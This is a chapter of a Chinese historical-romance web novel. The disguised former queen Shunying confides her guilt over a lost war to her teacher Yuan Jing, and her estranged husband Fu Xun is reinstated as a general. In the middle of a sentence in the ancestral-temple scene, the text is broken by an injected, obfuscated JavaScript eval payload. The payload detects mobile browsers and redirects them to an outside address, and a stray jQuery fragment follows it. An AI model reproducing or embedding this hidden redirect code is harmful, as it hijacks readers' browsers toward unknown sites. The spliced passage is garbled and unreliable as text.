元璟与青年男子乘车前往飞花楼,分花拂柳走进最隐秘的小院,反身闩上院门的瞬间,元璟看着青年男子,眼圈一红险些落泪:“给我跪下。”
原本站得笔直的青年男子,膝盖一软就跪下了。
正是乔装易容后的舜英。
新制的青梅酒,口感薄、甜、酸,舜英浅酌一小口,就酸得落下眼泪。
元璟将酒杯举到唇边,却不饮,只目不转睛反复打量着她,半晌之后悠悠道:“苻洵待你挺不错的。”
舜英呛得直咳嗽:“师父怎么知道?”
“猜的”,元璟掀了掀眼皮,慢悠悠喝着温好的酒,“结果一诈就出来了。”
又淡淡说:“以他的性子,被刺杀还能让你好端端活到现在,你这几年肯定过得挺滋润。”
舜英心念一动,诧异地问:“他的性子?师父跟他很熟?”
“打过交道,不太熟”,元璟轻轻笑起来,自斟自饮,“有点像登基前的昭王,至情至性,爱之欲其生,恶之欲其死。”
舜英心想,其实他更像你,潇洒不羁、不甚在意名利,知情知趣又知冷知热。
元璟注视着她:“阿英,你的性子也有几分像崔师姐,可喜苻洵从未想过坐上王位。”
舜英撇撇嘴:“他那个性子,散漫惯了,当不了。”
元璟苦笑着摇头:“昭王即位前也是个散漫性子,若他如今尚在,定会后悔写的圣旨是赐婚而非敕封公主,唉——”
舜英心乱如麻,连喝三杯酒,幽幽地问:“我至今仍想不清楚,两小无猜的两个人,最后怎么全都走到那步田地?”
元璟喟然长叹:“当年冯太后嫁过来之前,崔师姐决议和离,大哥拼死不放手。他们父子都一个样,什么都好、就是贪心。明明当了君王,却偏要贪恋一人痴心,这也想要、那也舍不得放。”
到最后,两情相悦的因三宫六院反目成仇,空置六宫的因陈年往事耿耿于怀。
孤家寡人的宿命。
.
元璟活得越久、越位高权重,能聊天的人也越少。一对上爱徒,再几两薄酒下肚、喝得微醺,比以往更健谈。
“你啊你,就是犟!在外边过得好好的,还回来干什么?”
舜英笑了笑:“回来看看师父和……他们,看看南翊变成什么样了。”
元璟嗤笑:“他们有什么好看的?早迫不及待替你盖棺定论了,你若此时贸然露头,有一个是一个,巴不得马上帮你体面!”
舜英替他斟满酒杯,又给自己倒了一杯:“这些我都知道,可我不是被风吹到这么大的,吃的是景和宫的粟米、喝的是兴庆宫的水、听的是宫学的教诲。”
“那些都过去了!过去了!你为他们做得还不够多么?”元璟压低声音愤然道,“你早为他们死过好几次了,若没有苻洵,你这条命恐怕早不在了。什么养育之恩、夫妻情分,早还清了!放过你自己吧!”
“不止是这几个,师父,这是我的故国啊,我曾是他们的王后,受他们锦衣玉食的供养”,舜英摇摇头,酒味太酸、激得她落下泪来,“可我把一切搞砸了,杀了那么多人,战火却越烧越旺,还烧到了本土。”
元璟嘿嘿冷笑:“战火一旦点燃,怎么发展、根本不可能受任何一方控制。近的,看看滬国怎么灭亡的?远的,从古到今那些名将圣主,谁能真正控制战争的走向?”
舜英嚎啕大哭:“可我没有尽力而为。我早就感觉元昙不对劲,却没有继续查,还有阿……苻洵,我要当初不在蛮疆口无遮拦、暴露陛下的志向,他不会那么早下毒。陛下不早逝,翊东三十五城不会丢,我把一切搞砸了!”
“够了,你以为你是谁?”元璟气血上涌,声音陡然高了几度,“当年浮玉宫跟景和宫那些恩怨,你查不查都明摆着。就算你不跟苻洵说那些,明眼人谁看不出来?翊国养着那么多强兵壮马,不为四处征伐、养着好看吗?”
舜英抽抽噎噎:“可国土丢了,我过不了自己。”
“你丢的?好大口气”,元璟叹了口气,“丢了又怎样?说句难听话,只要新国君善待百姓,除了王室和世家大族,谁会在意君主是谁?你招安滬南一趟真是白跑了!”
舜英哭得更伤心:“可我还喜欢敌国将领,我叛国了。”
“这两国闹了好几百年,中原诸国内战、又不是异族,你也没战时卖国,算什么叛国?”元璟愤怒起来,勃然低斥,“你以为自己是谁?在国与国的恩怨面前、国君的野心抱负面前,你什么都不算!充其量是一把刀!”
舜英身躯一震,难以置信地反问:“刀?”
元璟冷笑:“不然呢,担着王后的名分,还真把自己当执刀人了?”
舜英呆了许久,不知所措,只反复喃喃着“只是刀?”
元璟泪眼模糊看着她:“阿英,天塌不下来,你这条命已经殉了一次国,好不容易捡回来,要好好顾惜……就算不为自己,也为救你活过来的那人。”
舜英垂下眼眸,不禁抚摸颈上的银丝绳,和离已快半年,她仍然随身戴着蝴蝶祥云银锁,似乎它已是身体的一部分。
元璟潸然泪下、醉话连篇:“阿英啊,做人要拎得清,恩是恩怨是怨,无论前因如何,只要对咱有恩,咱就得认。什么都是要付出代价的,救人也一样。当时都以为你必死无疑,他救活你不知付出了什么代价。”
“喜欢他也没什么,他不也喜欢你吗?死过一次的人了,怎么就不能放过自己?”
舜英扶着他去隔间休息时,他依然口齿不清地喃喃呓语,泪水涟涟,翻来覆去却只那一句。
“阿英,放过自己……”
.
“主子,咱们的人亲眼瞧见夫人跟在襄国公身后,进了桐花别苑。”郎琊沉声禀报。
“知道了,愿赌服输,何况这也不算输”,苻洵语气平静,“她好好活着,比什么都重要。”
郎琊又将一封信递给苻洵:“韦娘子说,女公子年岁大了,不能没有女性长辈教导。女公子跟花姨娘不亲,不如就在维阳由她照看,等到及笄后若要成婚,再从建业侯府出嫁。”
苻洵展开信笺看了片刻,重重叹了口气,唇角却绽出一丝笑意。
“她们几个倒热乎上了,把我一个人孤零零撇在这儿。”
那天,舜英在沧浪墅醒来后,与韦秋屏聊了半宿,说的最多的是苻忆和苻阐。她惜才,苻忆读书的天分颇高,又爱钻研学问,平庸些的师父教不了。
“何况,阿忆跟阿洵这层关系割不断,若不寻个安全地方藏起来,难免有人从中作梗。”
关键时候还得靠元璟的人脉,请来的人令她大跌眼镜,居然正是四年前从碧宁书院辞职的教习,大儒曲雍和。
兜兜转转,还是他们有师徒缘分。
至于住址,定在燮陵乡下一处田庄,不止丫鬟嬷嬷一应俱全,还有几名武艺高强的女子看家护宅,韦秋屏抱着无功不受禄的心态,诚惶诚恐问主家是谁。
舜英露出俏皮的笑:“你就踏踏实实住着,她有钱得很,到处都是产业,说是这个庄子送我了。”
韦秋屏知道舜英很有能耐,也不再多推拒,大部分时间在田庄照顾苻忆,每月只抽几天时间去维阳收账。
苻忆已从最开始的崩溃中恢复过来,逐渐接受有两个娘亲的事实,反倒觉得双倍快乐。
.
“列祖列宗在上,不肖子孙苻洵,因一己私仇引异族入侵,祸延中原、罪孽深重。请王兄允臣弟将功折罪,重授臣弟威远将军之职,扼西羌诸国,与北翊交相策应、御北宛狼骑,护北疆之安宁。”
奉宁王宫,苻氏宗庙内,苻洵一身素服,撩袍长跪。
苻沣将边垣之盟的玉板重新封入玉匣之中,继后元晴接过玉匣,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811054|148138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
毕恭毕敬奉上高位。
“允,重授苻洵威远将军、龙骧军骠骑将军之职,节制北卢、郅阳、英平三郡骑兵。”
苻洵点燃三炷香,苻沣立即紧张地盯着他,幸好他并未像以前那样直接用嘴吹,而是轻缓晃动几下,待火苗熄灭、再端端正正插进香炉。
苻沣如释重负,松了口气。
“这男人啊,还是得成家”,继后凉飕飕瞟了他一眼,直接越过他们兄弟、走出了宗庙,“成一次婚,媳妇儿跑了,人看着都沉稳不少。”
苻洵诧异道:“我没看错吧,嫂子她……刚才笑了一下。”
“没看错,她以前挺爱笑的”,苻沣凉凉道,“只是不想对你笑。”
苻洵摇摇头:“不是这个,我是说她出去游历一圈回来,整个人活泛不少,什么地方这么好?”
苻沣蹙眉思索半晌:“好像是什么西陵古国旧址,还有新建成的蒙舍王城。”
.
“苻洵都不回去了,你还去蛮疆做什么?”晨练之后,元璟边走边问。
舜英递给他一张丝帕,又取出另一张自己揩汗:“师父,你这段时间跟我喝酒,说的那些话很有用。”
元璟愣了愣,诧异道:“我说了那么多话,你听的哪句?”
“你给我讲了当年在灵昌,阿洵和永平王的一些旧事,你还让我放过自己”,舜英娓娓道,“你还说,恩是恩怨是怨,无论前因如何,只要对咱有恩,咱就得认!”
元璟愕然睁大双眼:“你是不是误解什么了?如果前些年你想和苻洵在一起,我豁出这条命也逼着庄王废后。可现在你和他隔了人命,我怎么支持?”
“你还有那本事逼他废后?”舜英笑着摇摇头,转了话题,“明天承祎巡幸宛陵养马场,冯太后确定不去?”
元璟笃定地说:“她有别的事,不过伴驾的侍卫随从里,依附冯氏的肯定不少。”
舜英点点头:“只要她不去,问题不大,多在脸上画一画,冯氏的人除了冯广年,别的都对我不熟。”
元璟叹了口气:“见亲儿子都这么藏头露尾……几年不见,你确定不跟他说说话?”
舜英笑了笑:“何尝不想?可事到如今,只有褚舜英这个身份死了,对他们兄妹三人、对姨母他们,才是最好的保护。”
顿了顿,又说:“我不会抛下他们不管。”
元璟眉峰一蹙:“你要作甚?”
舜英悠悠目视远方,眼神逐渐变冷:“孙子与儿子不同,自古以来,没几个人拥有过权力后,舍得拱手相让。”
元璟心神巨震,惊惧地看向她,默了半晌才轻轻叹了口气:“你还是放不下,也罢,届时我就拼着这把老骨头,再奔走一回。”
舜英微笑摇头:“应该不至如此,冯太后的性情我还算了解。”
“你了解个鬼”,元璟愤愤道,“自己都着了她的道!”
舜英:“不就是一点旧物,几炉熏香么?”
元璟惊讶地睁大双眼;“你知道还……”
舜英的笑容风轻云淡:“因为当时,我若不那样做,过不了自己。”
想了想又说:“姨母那边我就不去了,冯太后顶多是压制他们,正中我下怀。冯太后比我们更清楚,异族出身决定她无法临朝称制,还政给承祎是迟早的事。就冲这个,她不会真对褚氏把事做绝,我掺合进去反倒碍事。”
“当了几年王后,脑子的确好多了”,元璟欣然颔首,赞许道,“庄王作夫婿如何不好说,作国君倒是无懈可击。”
两人边走边说笑,一直走到书房,屋子正中放着一口箱子,装满银砖和提花彩缎。
元璟伸头一瞥,被那白花花的银砖晃了眼,满脸糟心地嘀咕:“谁教你这么……直白地送礼的?”
舜英抬头看向西北,目光越过长流川、木城群山,穿透梨花林,笑了:“一位故人。”